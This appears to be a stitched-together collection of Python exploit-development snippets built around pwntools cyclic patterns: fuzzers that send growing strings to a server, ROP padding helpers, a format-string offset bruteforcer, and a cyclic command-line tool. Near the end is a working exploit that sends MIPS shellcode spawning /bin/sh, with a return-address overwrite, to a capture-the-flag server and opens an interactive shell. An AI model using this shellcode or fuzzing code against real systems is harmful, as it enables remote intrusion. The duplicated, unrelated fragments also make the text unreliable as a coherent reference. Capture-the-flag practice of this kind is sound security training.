def fuzz_server(start, end, skip): for i in range(start, end, skip): fuzz = pattern.cyclic(i, alphabet=string.ascii_letters) body = {'username': fuzz, 'password': '******'} print("[+] Fuzzing with {0} characters".format(len(fuzz))) r = session.post(f"http://{addr}:{port}{page}", data=body) time.sleep(3)
def generatePadding(self, offset, count): """ Generates padding to be inserted into the ROP stack. >>> rop = ROP([]) >>> val = rop.generatePadding(5,15) >>> cyclic_find(val[:4]) 5 >>> len(val) 15 >>> rop.generatePadding(0,0) '' """ if count: return cyclic.cyclic(offset + count)[-count:] return ''
def main(): args = parser.parse_args() alphabet = args.alphabet subsize = args.length if args.lookup: pat = args.lookup if pat.startswith('0x'): pat = packing.pack(int(pat[2:], 16), subsize * 8, 'little', 'unsigned') elif pat.isdigit(): pat = packing.pack(int(pat, 10), subsize * 8, 'little', 'unsigned') if len(pat) != 4: log.critical('Subpattern must be 4 bytes') sys.exit(1) if not all(c in alphabet for c in pat): log.critical( 'Pattern contains characters not present in the alphabet') sys.exit(1) offset = cyclic.cyclic_find(pat, alphabet, subsize) if offset == -1: log.critical('Given pattern does not exist in cyclic pattern') sys.exit(1) else: print offset else: want = args.count result = cyclic.cyclic(want, alphabet, subsize) got = len(result) if got < want: log.failure("Alphabet too small (max length = %i)" % got) sys.stdout.write(result) if sys.stdout.isatty(): sys.stdout.write('\n')
def generatePadding(self, offset, count): """ Generates padding to be inserted into the ROP stack. >>> rop = ROP([]) >>> val = rop.generatePadding(5,15) >>> cyclic_find(val[:4]) 5 >>> len(val) 15 >>> rop.generatePadding(0,0) b'' """ # Ensure we don't generate a cyclic pattern which contains badchars alphabet = b''.join(packing.p8(c) for c in bytearray(string.ascii_lowercase.encode()) if c not in self._badchars) if count: return cyclic(offset + count, alphabet=alphabet)[-count:] return b''
def buffer(sendprintf: Callable[[bytes],bytes], maxlen=20) -> int: '''Bruteforcer to locate the offset of the input string itself. i.e. if buffer() returns 6, printf("%6$d") gives the value of p32("%6$p") Arguments: `sendprintf`: a function that simulates a single printf() call. This is much like the function passable to pwntools' FmtStr(). e.g. def printf(l: bytes): r = process('./mybinary') r.send(l) return r.recvline() buffer = fsb.find_offset.buffer(printf) `maxlen`: the maximum length of the input. If no value is given, the program assumes maxlen=20. Larger values of `maxlen` will allow for faster offset guessing. ''' # Note: if config.PRINTF_MAX becomes really large, this might break guess_n = (maxlen-len("0x%10$x\n")) // context.bytes # So long as more than 1 guess can be done at a time: if guess_n > 1: '''Let's say guess_n=3 words worth of cyclic() can be inputted. If config.PRINTF_MIN=5, then the first payload ought to be cyclic(3*context.bytes) + "0x%{}$x\n".format(5+(3-1)) because the first guess should be able to catch any offset in the range range(config.PRINTF_MIN, config.PRINTF_MIN+guess_n) ''' for offset in range(config.PRINTF_MIN+guess_n-1, config.PRINTF_MAX+guess_n-1, guess_n): payload = cyclic(guess_n*context.bytes) + "0x%{}$x\n".format(offset).encode() extract = sendprintf(payload) if b"(nil)" in extract: extract = 0 else: extract = unpack_hex(extract) # Error will be -1 if extract != -1 and 0 <= (found := cyclic_find(p32(extract))) < len(payload): assert found%context.bytes == 0 # if not, the offset is non-aligned log.info('%s for buffer: %d' % (__name__, offset-found//context.bytes)) return offset-found//context.bytes raise RuntimeError # Give up
def main(): args = parser.parse_args() alphabet = args.alphabet subsize = args.length if args.lookup: pat = args.lookup if pat.startswith('0x'): pat = packing.pack(int(pat[2:], 16), subsize*8, 'little', False) elif pat.isdigit(): pat = packing.pack(int(pat, 10), subsize*8, 'little', False) if len(pat) != subsize: log.critical('Subpattern must be %d bytes' % subsize) sys.exit(1) if not all(c in alphabet for c in pat): log.critical('Pattern contains characters not present in the alphabet') sys.exit(1) offset = cyclic.cyclic_find(pat, alphabet, subsize) if offset == -1: log.critical('Given pattern does not exist in cyclic pattern') sys.exit(1) else: print offset else: want = args.count result = cyclic.cyclic(want, alphabet, subsize) got = len(result) if got < want: log.failure("Alphabet too small (max length = %i)" % got) sys.stdout.write(result) if sys.stdout.isatty(): sys.stdout.write('\n')
def generatePadding(self, offset, count): """ Generates padding to be inserted into the ROP stack. """ return cyclic.cyclic(offset + count)[-count:]
def fuzz_server(client, start, end, skip): for i in range(start,end,skip): fuzz = pattern.cyclic(i, alphabet=string.ascii_letters) print("[+] Fuzzing with {0} characters".format(len(fuzz))) client.sendline(fuzz.encode('ascii')) time.sleep(1)
"\xe0\xff\xbd\x27"\ "\xd7\xff\x0f\x24"\ "\x27\x78\xe0\x01"\ "\x21\x20\xef\x03"\ "\xe8\xff\xa4\xaf"\ "\xec\xff\xa0\xaf"\ "\xe8\xff\xa5\x23"\ "\xab\x0f\x02\x24"\ "\x0c\x01\x01\x01"\ "/bin/sh\x00" nop = "\xff\xff\x06\x28" shellcode = nop * 100 + shellcode payload = b"GET %\x00A" pattern = bytearray(cyclic(1000)) read_buffer = 0x7fffe974 shellcode_offset = 60 # must be a multple of 4 shellcode_addr = read_buffer + shellcode_offset + 4 * 40 pattern[36:40] = p.p32(shellcode_addr) pattern[41] = b"\x00" # end urldecode loop payload += pattern payload = bytearray(payload) payload[shellcode_offset:shellcode_offset+len(shellcode)] = shellcode r = p.remote("breizhctf.serveur.io", 4242) r.send(payload) r.interactive()
def update_cyclic_pregenerated(size): global cyclic_pregen cyclic_pregen = cyclic(size)